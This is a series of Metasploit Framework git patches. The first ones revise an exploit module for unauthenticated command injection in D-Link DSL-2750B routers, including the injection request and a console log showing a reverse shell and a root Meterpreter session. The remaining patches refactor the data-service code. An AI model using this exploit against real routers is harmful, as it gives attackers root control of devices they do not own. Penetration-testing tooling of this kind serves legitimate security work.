100644 --- a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices. Vulnerability can be exploited through "cli" parameter that is directly used to invoke - "ayecli" binary. + "ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03. }, 'Author' => [ From f65361258b3a0b99bc89675f5e7e7ab060cd4860 Mon Sep 17 00:00:00 2001 From: lucyoa Date: Sun, 13 May 2018 15:08:32 -0400 Subject: [PATCH 09/41] Adding vulnerable firmwares to description --- modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb index 9941b150d0..04cfe0237a 100644 --- a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices. Vulnerability can be exploited through "cli" parameter that is directly used to invoke - "ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03. + "ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03. }, 'Author' => [ From 8dd7a27f7be0d42965df7c03727ad4af7ca33b6a Mon Sep 17 00:00:00 2001 From: lucyoa Date: Mon, 14 May 2018 05:46:23 -0400 Subject: [PATCH 10/41] Fixes according to code review --- .../linux/http/dlink_dsl2750b_exec_noauth.md | 25 +++++++++---- .../linux/http/dlink_dsl2750b_exec_noauth.rb | 37 ++++++++++++++----- 2 files changed, 45 insertions(+), 17 deletions(-) diff --git a/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md index ca1d1bc128..a32f022d78 100644 --- a/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md +++ b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md @@ -25,15 +25,17 @@ msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LPORT 5555 LPORT => 5555 msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run +msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run + [*] Started reverse TCP handler on 192.168.1.6:5555 [*] 192.168.1.1:80 Checking target version... -[*] Using URL: http://0.0.0.0:8080/V9GiueD0WW -[*] Local IP: http://192.168.1.6:8080/V9GiueD0WW -[*] Client 192.168.1.1 (Wget) requested /V9GiueD0WW +[*] Using URL: http://0.0.0.0:8080/1M6nI0Or6FUiW +[*] Local IP: http://192.168.1.6:8080/1M6nI0Or6FUiW +[*] Client 192.168.1.1 (Wget) requested /1M6nI0Or6FUiW [*] Sending payload to 192.168.1.1 (Wget) [*] Sending stage (1104216 bytes) to 192.168.1.1 -[*] Meterpreter session 18 opened (192.168.1.6:5555 -> 192.168.1.1:37259) at 2018-05-13 14:58:08 -0400 -[*] Command Stager progress - 100.00% done (114/114 bytes) +[*] Meterpreter session 25 opened (192.168.1.6:5555 -> 192.168.1.1:48989) at 2018-05-14 05:30:49 -0400 +[*] Command Stager progress - 100.00% done (117/117 bytes) [*] Server stopped. meterpreter > ls -la @@ -53,9 +55,18 @@ Mode Size Type Last modified Name 40555/r-xr-xr-x 0 dir 1969-12-31 19:00:00 -0500 proc 40755/rwxr-xr-x 270 dir 2013-03-11 07:25:43 -0400 sbin 40755/rwxr-xr-x 0 dir 1969-12-31 19:00:00 -0500 sys -40755/rwxr-xr-x 0 dir 2016-10-07 17:20:39 -0400 tmp +40755/rwxr-xr-x 0 dir 2016-10-08 07:54:13 -0400 tmp 40755/rwxr-xr-x 38 dir 2013-03-11 07:23:32 -0400 usr -40755/rwxr-xr-x 0 dir 2016-10-07 17:16:34 -0400 var +40755/rwxr-xr-x 0 dir 2016-10-08 07:46:13 -0400 var 40755/rwxr-xr-x 2801 dir 2013-03-11 07:26:34 -0400 webs +meterpreter > sysinfo +Computer : 192.168.1.1 +OS : (Linux 2.6.30) +Architecture : mips +BuildTuple : mips-linux-muslsf +Meterpreter : mipsbe/linux +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > ``` diff --git a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb index 04cfe0237a..b4b336ecda 100644 --- a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb @@ -27,6 +27,7 @@ class MetasploitModule < Msf::Exploit::Remote [ ['PACKETSTORM', 135706], ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/53'], + ['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/'], ], 'Targets' => [ @@ -45,6 +46,8 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Feb 5 2016', 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -54,27 +57,41 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => '/ayefeaturesconvert.js' }) - if res && [200].include?(res.code) && res.body =~ /DSL-2750/ && res.body =~ /var AYECOM_FWVER="(\d.\d+)";/ + unless res + vprint_error('Connection failed') + return CheckCode::Unknown + end + + unless res.code.to_i == 200 && res.body.include?('DSL-2750') + vprint_status('Remote host is not a DSL-2750') + return CheckCode::Safe + end + + if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/ version = $1 + vprint_status("Remote host is a DSL-2750B with firmware version #{version}") if version >= "1.01" and version <= "1.03" return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe end end - rescue ::Rex::ConnectionError - return Exploit::CheckCode::Unknown - end - Exploit::CheckCode::Unknown + CheckCode::Safe + rescue ::Rex::ConnectionError + vprint_error('Connection failed') + return CheckCode::Unknown + end end def execute_command(cmd, opts) begin - path = "/login.cgi?cli=multilingual show';#{cmd}'$".gsub(/ /, "%20").gsub(/&/, "%26") + payload = Rex::Text.uri_encode("multilingual show';#{cmd}'") res = send_request_cgi({ 'method' => 'GET', - 'uri' => path, + 'uri' => '/login.cgi', + 'vars_get' => { + 'cli' => "#{payload}$" + }, + 'encode_params' => false }, 5) return res @@ -87,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{peer} Checking target version...") unless check == Exploit::CheckCode::Appears - return + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end execute_cmdstager( From 02566071bebe37d13457e000b2255975889a5daf Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:09:20 -0400 Subject: [PATCH 11/41] Implement find_or_create DataProxy methods --- .../data_service/proxy/host_data_proxy.rb | 26 ++++++++++++------- .../data_service/proxy/loot_data_proxy.rb | 14 +++++++--- .../data_service/proxy/note_data_proxy.rb | 13 ++++++++-- .../data_service/proxy/service_data_proxy.rb | 12 ++++++++- .../data_service/proxy/vuln_data_proxy.rb | 14 ++++++++++ 5 files changed, 63 insertions(+), 16 deletions(-) diff --git a/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb index da4a95d0d8..f17e2b071b 100644 --- a/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb @@ -1,13 +1,12 @@ module HostDataProxy - def hosts(wspace = workspace.name, non_dead = false, addresses = nil, search_term = nil) + def hosts(opts={}) begin data_service = self.get_data_service - opts = {} - add_opts_workspace(opts, wspace) - opts[:non_dead] = non_dead - opts[:address] = addresses - opts[:search_term] = search_term + opts[:non_dead] = false unless opts.has_key?(:non_dead) + opts[:address] = opts.delete(:address) || opts.delete(:host) + opts[:search_term] = nil unless opts.has_key?(:search_term) + add_opts_workspace(opts) data_service.hosts(opts) rescue => e self.log_error(e, "Problem retrieving hosts") @@ -15,10 +14,17 @@ module HostDataProxy end def find_or_create_host(opts) - host = get_host(opts) - return host unless host.nil? - - report_host(opts) + begin + host = hosts(opts.clone) + if host.nil? || host.first.nil? + host = report_host(opts.clone) + else + host = host.first + end + host + rescue => e + self.log_error(e, "Problem finding or creating host") + end end def get_host(opts) diff --git a/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb index 83d133fbae..1d2867f3f6 100644 --- a/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/loot_data_proxy.rb @@ -13,10 +13,18 @@ module LootDataProxy end end - # TODO: Shouldn't this proxy to RemoteLootDataService#find_or_create_loot ? - # It's currently skipping the "find" part def find_or_create_loot(opts) - report_loot(opts) + begin + loot = loots(opts.clone) + if loot.nil? || loot.first.nil? + loot = report_loot(opts.clone) + else + loot = loot.first + end + loot + rescue => e + self.log_error(e, "Problem finding or creating loot") + end end def loots(wspace, opts = {}) diff --git a/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb index 5ee05f1a43..aec8012b1d 100644 --- a/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/note_data_proxy.rb @@ -10,9 +10,18 @@ module NoteDataProxy end end - # TODO: like other *DataProxy modules this currently skips the "find" part def find_or_create_note(opts) - report_note(opts) + begin + note = notes(opts.clone) + if note.nil? || note.first.nil? + note = report_note(opts.clone) + else + note = note.first + end + note + rescue => e + self.log_error(e, "Problem finding or creating note") + end end def report_note(opts) diff --git a/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb index 08667b435b..1cc47f41d9 100644 --- a/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb @@ -11,7 +11,17 @@ module ServiceDataProxy end def find_or_create_service(opts) - report_service(opts) + begin + service = services(opts.clone) + if service.nil? || service.first.nil? + service = report_service(opts.clone) + else + service = service.first + end + service + rescue => e + self.log_error(e, "Problem finding or creating service") + end end def report_service(opts) diff --git a/lib/metasploit/framework/data_service/proxy/vuln_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/vuln_data_proxy.rb index 54a1cbcc5f..9fb05e2c5e 100644 --- a/lib/metasploit/framework/data_service/proxy/vuln_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/vuln_data_proxy.rb @@ -11,6 +11,20 @@ module VulnDataProxy end end + def find_or_create_vuln(opts) + begin + vuln = vulns(opts.clone) + if vuln.nil? || vuln.first.nil? + vuln = report_vuln(opts.clone) + else + vuln = vuln.first + end + vuln + rescue => e + self.log_error(e, "Problem finding or creating vuln") + end + end + def report_vuln(opts) begin data_service = self.get_data_service From 09a7396ad5c2780454c2166752adc32f1f839e22 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:20:58 -0400 Subject: [PATCH 12/41] Remove remote data service find_or_create method --- .../data_service/remote/http/remote_host_data_service.rb | 4 ---- .../data_service/remote/http/remote_loot_data_service.rb | 4 ---- 2 files changed, 8 deletions(-) diff --git a/lib/metasploit/framework/data_service/remote/http/remote_host_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_host_data_service.rb index 9bd856773e..a23a55ddc7 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_host_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_host_data_service.rb @@ -19,10 +19,6 @@ module RemoteHostDataService json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first end - def find_or_create_host(opts) - json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first - end - def report_hosts(hosts) self.post_data(HOST_API_PATH, hosts) end diff --git a/lib/metasploit/framework/data_service/remote/http/remote_loot_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_loot_data_service.rb index c9759f4833..65f4b465c8 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_loot_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_loot_data_service.rb @@ -23,10 +23,6 @@ module RemoteLootDataService self.post_data_async(LOOT_API_PATH, opts) end - def find_or_create_loot(opts) - json_to_mdm_object(self.post_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, []) - end - def report_loots(loot) self.post_data(LOOT_API_PATH, loot) end From 25fdc02902225ab77a58fd6d0056c16fa639dbe0 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:29:57 -0400 Subject: [PATCH 13/41] Modify to use find_or_create_host --- lib/msf/core/db_manager/event.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/db_manager/event.rb b/lib/msf/core/db_manager/event.rb index 1003445e68..6ba12f88dd 100644 --- a/lib/msf/core/db_manager/event.rb +++ b/lib/msf/core/db_manager/event.rb @@ -12,8 +12,8 @@ module Msf::DBManager::Event return if not wspace # Temp fix? uname = opts.delete(:username) - if ! opts[:host].kind_of? ::Mdm::Host and opts[:host] - opts[:host] = report_host(:workspace => wspace, :host => opts[:host]) + if !opts[:host].nil? && !opts[:host].kind_of?(::Mdm::Host) + opts[:host] = find_or_create_host(workspace: wspace, host: opts[:host]) end ::Mdm::Event.create(opts.merge(:workspace_id => wspace[:id], :username => uname)) From 262e791dccfe348faade289ee000f86342711bbb Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:35:18 -0400 Subject: [PATCH 14/41] Make find_or_create_host opts more consistent Modify to use DBManager methods rather than DataProxy --- lib/msf/core/db_manager/session.rb | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index acc6d577b0..81077d6139 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -120,11 +120,12 @@ module Msf::DBManager::Session ::ActiveRecord::Base.connection_pool.with_connection { host_data = session_dto[:host_data] - workspace = workspaces({ name: host_data[:workspace] }) - h_opts = {} - h_opts[:host] = host_data[:host] - h_opts[:arch] = host_data[:arch] - h_opts[:workspace] = host_data[:workspace] + workspace = workspaces({ name: host_data[:workspace] }).first + h_opts = { + host: host_data[:host], + workspace: workspace + } + h_opts[:arch] = host_data[:arch] if !host_data[:arch].nil? && !host_data[:arch].empty? host = find_or_create_host(h_opts) session_data = session_dto[:session_data] @@ -218,7 +219,7 @@ module Msf::DBManager::Session vuln_info[:service] = service if service - vuln = framework.db.report_vuln(vuln_info) + vuln = report_vuln(vuln_info) attempt_info = { host: host, @@ -233,7 +234,7 @@ module Msf::DBManager::Session run_id: session.exploit.user_data.try(:[], :run_id) } - framework.db.report_exploit_success(attempt_info) + report_exploit_success(attempt_info) vuln } @@ -245,10 +246,12 @@ module Msf::DBManager::Session raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session wspace = opts[:workspace] || find_workspace(session.workspace) - h_opts = { } - h_opts[:host] = Msf::Util::Host.normalize_host(session) - h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch - h_opts[:workspace] = wspace + h_opts = { + host: Msf::Util::Host.normalize_host(session), + workspace: wspace + } + h_opts[:arch] = session.arch if session.respond_to?(:arch) && !session.arch.nil? && !session.arch.empty? + host = find_or_create_host(h_opts) sess_data = { datastore: session.exploit_datastore.to_h, @@ -332,7 +335,7 @@ module Msf::DBManager::Session vuln_info[:service] = service if service - vuln = framework.db.report_vuln(vuln_info) + vuln = report_vuln(vuln_info) attempt_info = { host: host, @@ -347,7 +350,7 @@ module Msf::DBManager::Session run_id: vuln_info_dto[:run_id] } - framework.db.report_exploit_success(attempt_info) + report_exploit_success(attempt_info) vuln } From 4b13fbb5a34a58bc023a2bbaf413261f41a26e43 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:36:33 -0400 Subject: [PATCH 15/41] Add workaround for race condition in report_host Modify to use DBManager methods rather than DataProxy --- lib/msf/core/db_manager/host.rb | 136 ++++++++++++++++---------------- 1 file changed, 70 insertions(+), 66 deletions(-) diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index ea5fdce77e..6a285699da 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -58,7 +58,7 @@ module Msf::DBManager::Host ip = opts[:ip] tag_name = opts[:tag_name] - host = framework.db.get_host(:workspace => wspace, :address => ip) + host = get_host(workspace: wspace, address: ip) if host possible_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1) tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) @@ -185,74 +185,78 @@ module Msf::DBManager::Host ::ActiveRecord::Base.connection_pool.with_connection { wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) - ret = { } - - if !addr.kind_of? ::Mdm::Host - addr = Msf::Util::Host.normalize_host(addr) - - unless ipv46_validator(addr) - raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}" - end - - if opts[:comm] and opts[:comm].length > 0 - host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize - else - host = wspace.hosts.where(address: addr).first_or_initialize - end - else - host = addr - end - - ostate = host.state - - # Truncate the info field at the maximum field length - if opts[:info] - opts[:info] = opts[:info][0,65535] - end - - # Truncate the name field at the maximum field length - if opts[:name] - opts[:name] = opts[:name][0,255] - end - - if opts[:os_name] - os_name, os_flavor = split_windows_os_name(opts[:os_name]) - opts[:os_name] = os_name if os_name.present? - if opts[:os_flavor].present? - opts[:os_flavor] = os_flavor + opts[:os_flavor] - else - opts[:os_flavor] = os_flavor - end - end - - opts.each do |k,v| - if (host.attribute_names.include?(k.to_s)) - unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') - end - elsif !v.blank? - dlog("Unknown attribute for ::Mdm::Host: #{k}") - end - end - host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info - - # Set default fields if needed - host.state = Msf::HostState::Alive if !host.state - host.comm = '' if !host.comm - host.workspace = wspace if !host.workspace - begin - framework.events.on_db_host(host) if host.new_record? - rescue ::Exception => e - wlog("Exception in on_db_host event handler: #{e.class}: #{e}") - wlog("Call Stack\n#{e.backtrace.join("\n")}") - end + retry_attempts ||= 0 + if !addr.kind_of? ::Mdm::Host + addr = Msf::Util::Host.normalize_host(addr) - host_state_changed(host, ostate) if host.state != ostate + unless ipv46_validator(addr) + raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}" + end - if host.changed? - msf_import_timestamps(opts,host) - host.save! + conditions = {address: addr} + conditions[:comm] = opts[:comm] if !opts[:comm].nil? && opts[:comm].length > 0 + host = wspace.hosts.where(conditions).first_or_initialize + else + host = addr + end + + ostate = host.state + + # Truncate the info field at the maximum field length + if opts[:info] + opts[:info] = opts[:info][0,65535] + end + + # Truncate the name field at the maximum field length + if opts[:name] + opts[:name] = opts[:name][0,255] + end + + if opts[:os_name] + os_name, os_flavor = split_windows_os_name(opts[:os_name]) + opts[:os_name] = os_name if os_name.present? + if opts[:os_flavor].present? + opts[:os_flavor] = os_flavor + opts[:os_flavor] + else + opts[:os_flavor] = os_flavor + end + end + + opts.each do |k,v| + if host.attribute_names.include?(k.to_s) + unless host.attribute_locked?(k.to_s) + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') + end + elsif !v.blank? + dlog("Unknown attribute for ::Mdm::Host: #{k}") + end + end + host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info + + # Set default fields if needed + host.state = Msf::HostState::Alive unless host.state + host.comm = '' unless host.comm + host.workspace = wspace unless host.workspace + + begin + framework.events.on_db_host(host) if host.new_record? + rescue => e + wlog("Exception in on_db_host event handler: #{e.class}: #{e}") + wlog("Call Stack\n#{e.backtrace.join("\n")}") + end + + host_state_changed(host, ostate) if host.state != ostate + + if host.changed? + msf_import_timestamps(opts, host) + host.save! + end + rescue ActiveRecord::RecordNotUnique + # two concurrent report requests for a new host could result in a RecordNotUnique exception + # simply retry the report once more as an optimistic approach + retry if (retry_attempts+=1) <= 1 + raise end if opts[:task] From b3a1f2531bced1e3da423eb807bb879e2f233b64 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:38:49 -0400 Subject: [PATCH 16/41] Update to use new hosts DataProxy method signature --- lib/msf/ui/console/command_dispatcher/db.rb | 6 +++--- plugins/nessus.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index de3b7ef487..0cd8118fc6 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -251,7 +251,7 @@ class Db tbl << [ current_workspace.name == ws.name ? '*' : '', ws.name, - framework.db.hosts(ws.name).count, + framework.db.hosts(workspace: ws.name).count, framework.db.services(ws.name).count, framework.db.vulns({workspace: ws.name}).count, framework.db.creds({workspace: ws.name}).count, @@ -310,7 +310,7 @@ class Db each_host_range_chunk(host_ranges) do |host_search| break if !host_search.nil? && host_search.empty? - framework.db.hosts(framework.db.workspace, false, host_search).each do |host| + framework.db.hosts(address: host_search).each do |host| framework.db.update_host(host_data.merge(id: host.id)) framework.db.report_note(host: host.address, type: "host.#{attribute}", data: host_data[attribute]) end @@ -561,7 +561,7 @@ class Db each_host_range_chunk(host_ranges) do |host_search| break if !host_search.nil? && host_search.empty? - framework.db.hosts(framework.db.workspace, onlyup, host_search, search_term = search_term).each do |host| + framework.db.hosts(address: host_search, non_dead: onlyup, search_term: search_term).each do |host| matched_host_ids << host.id columns = col_names.map do |n| # Deal with the special cases diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 50fac05d76..ae2cd9fa2e 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -1062,7 +1062,7 @@ module Msf return end targets = "" - framework.db.hosts(framework.db.workspace).each do |host| + framework.db.hosts.each do |host| targets << host.address targets << "," end From f482995f749da74c07c82d678290b9394fc23c9b Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:39:40 -0400 Subject: [PATCH 17/41] Minor changes to be similar to other servlets --- .../http/servlet/session_servlet.rb | 24 +++++++++++-------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/db_manager/http/servlet/session_servlet.rb b/lib/msf/core/db_manager/http/servlet/session_servlet.rb index d2a288c7a3..c1d1b8dbeb 100644 --- a/lib/msf/core/db_manager/http/servlet/session_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/session_servlet.rb @@ -4,8 +4,8 @@ module SessionServlet end def self.registered(app) - app.post SessionServlet.api_path, &report_session app.get SessionServlet.api_path, &get_session + app.post SessionServlet.api_path, &report_session end ####### @@ -16,7 +16,7 @@ module SessionServlet lambda { begin #opts = parse_json_request(request, false) - data = get_db().get_all_sessions() + data = get_db.get_all_sessions() set_json_response(data) rescue => e set_error_on_response(e) @@ -26,14 +26,18 @@ module SessionServlet def self.report_session lambda { - job = lambda { |opts| - if (opts[:session_data]) - get_db().report_session_dto(opts) - else - get_db().report_session_host_dto(opts) - end - } - exec_report_job(request, &job) + begin + job = lambda { |opts| + if opts[:session_data] + get_db.report_session_dto(opts) + else + get_db.report_session_host_dto(opts) + end + } + exec_report_job(request, &job) + rescue => e + set_error_on_response(e) + end } end end \ No newline at end of file From 73393b236c44b133028422e0cb02172c9420e525 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:42:52 -0400 Subject: [PATCH 18/41] Add missing data service stub methods --- .../data_service/stubs/host_data_service.rb | 4 ++++ .../data_service/stubs/loot_data_service.rb | 8 ++++++++ .../data_service/stubs/note_data_service.rb | 5 ++++- .../stubs/service_data_service.rb | 15 +++++++++++++++ .../data_service/stubs/vuln_data_service.rb | 19 +++++++++++++++++-- .../stubs/workspace_data_service.rb | 10 +++++++--- 6 files changed, 55 insertions(+), 6 deletions(-) diff --git a/lib/metasploit/framework/data_service/stubs/host_data_service.rb b/lib/metasploit/framework/data_service/stubs/host_data_service.rb index b909248c00..b51eddfa5f 100644 --- a/lib/metasploit/framework/data_service/stubs/host_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/host_data_service.rb @@ -20,6 +20,10 @@ module HostDataService raise 'HostDataService#find_or_create_host is not implemented' end + def update_host(opts) + raise 'HostDataService#update_host is not implemented' + end + def delete_host(opts) raise 'HostDataService#delete_host is not implemented' end diff --git a/lib/metasploit/framework/data_service/stubs/loot_data_service.rb b/lib/metasploit/framework/data_service/stubs/loot_data_service.rb index a36479ce6b..13f27d0018 100644 --- a/lib/metasploit/framework/data_service/stubs/loot_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/loot_data_service.rb @@ -4,7 +4,15 @@ module LootDataService raise 'LootDataService#report_loot is not implemented' end + def find_or_create_loot(opts) + raise 'LootDataService#find_or_create_loot is not implemented' + end + def loot(opts) raise 'LootDataService#loots is not implemented' end + + def update_loot(opts) + raise 'LootDataService#update_loot is not implemented' + end end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/stubs/note_data_service.rb b/lib/metasploit/framework/data_service/stubs/note_data_service.rb index 2c81b241c9..fd50ec7cda 100644 --- a/lib/metasploit/framework/data_service/stubs/note_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/note_data_service.rb @@ -4,6 +4,10 @@ module NoteDataService raise 'NoteDataService#notes is not implemented' end + def find_or_create_note(opts) + raise 'NoteDataService#find_or_create_note is not implemented' + end + def report_note(opts) raise 'NoteDataService#report_note is not implemented' end @@ -15,5 +19,4 @@ module NoteDataService def delete_note(opts) raise 'NoteDataService#delete_note is not implemented' end - end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/stubs/service_data_service.rb b/lib/metasploit/framework/data_service/stubs/service_data_service.rb index 69fedf15c2..f6888055a4 100644 --- a/lib/metasploit/framework/data_service/stubs/service_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/service_data_service.rb @@ -1,7 +1,22 @@ module ServiceDataService + def services(opts) + raise 'ServiceDataService#services is not implemented' + end + + def find_or_create_service(opts) + raise 'ServiceDataService#find_or_create_service is not implemented' + end + def report_service(opts) raise 'ServiceDataService#report_service is not implemented' end + def update_service(opts) + raise 'ServiceDataService#update_service is not implemented' + end + + def delete_service(opts) + raise 'ServiceDataService#delete_service is not implemented' + end end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/stubs/vuln_data_service.rb b/lib/metasploit/framework/data_service/stubs/vuln_data_service.rb index e85e3f19c7..eef6896f30 100644 --- a/lib/metasploit/framework/data_service/stubs/vuln_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/vuln_data_service.rb @@ -1,7 +1,22 @@ module VulnDataService - def report_vuln(opts) - raise 'VulnDataServicee#report_vuln is not implemented' + def vulns(opts) + raise 'VulnDataService#vulns is not implemented' end + def find_or_create_vuln(opts) + raise 'VulnDataService#find_or_create_vuln is not implemented' + end + + def report_vuln(opts) + raise 'VulnDataService#report_vuln is not implemented' + end + + def update_vuln(opts) + raise 'VulnDataService#update_vuln is not implemented' + end + + def delete_vuln(opts) + raise 'VulnDataService#delete_vuln is not implemented' + end end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/stubs/workspace_data_service.rb b/lib/metasploit/framework/data_service/stubs/workspace_data_service.rb index cffe0ba758..4a399be5f1 100644 --- a/lib/metasploit/framework/data_service/stubs/workspace_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/workspace_data_service.rb @@ -20,11 +20,15 @@ module WorkspaceDataService raise 'WorkspaceDataService#workspace= is not implemented' end - def workspaces + def workspaces(opts) raise 'WorkspaceDataService#workspaces is not implemented' end - def workspace_associations_counts() - raise 'WorkspaceDataService#workspace_associations_counts is not implemented' + def delete_workspaces(opts) + raise 'WorkspaceDataService#delete_workspaces is not implemented' + end + + def update_workspace(opts) + raise 'WorkspaceDataService#update_workspace is not implemented' end end From 7e145a09dea4e0c63d6ddd2f503132a3fe68bfcf Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 14 May 2018 17:43:24 -0400 Subject: [PATCH 19/41] Fix spec tests to match existing methods --- spec/support/shared/examples/msf/db_manager/host.rb | 1 - spec/support/shared/examples/msf/db_manager/note.rb | 5 ++--- spec/support/shared/examples/msf/db_manager/service.rb | 6 +++--- 3 files changed, 5 insertions(+), 7 deletions(-) diff --git a/spec/support/shared/examples/msf/db_manager/host.rb b/spec/support/shared/examples/msf/db_manager/host.rb index f637c346bb..664246e0c2 100644 --- a/spec/support/shared/examples/msf/db_manager/host.rb +++ b/spec/support/shared/examples/msf/db_manager/host.rb @@ -6,7 +6,6 @@ RSpec.shared_examples_for 'Msf::DBManager::Host' do it { is_expected.to respond_to :has_host? } end - it { is_expected.to respond_to :find_or_create_host } it { is_expected.to respond_to :get_host } it { is_expected.to respond_to :hosts } diff --git a/spec/support/shared/examples/msf/db_manager/note.rb b/spec/support/shared/examples/msf/db_manager/note.rb index 3bc4059b45..f7c072cfcf 100644 --- a/spec/support/shared/examples/msf/db_manager/note.rb 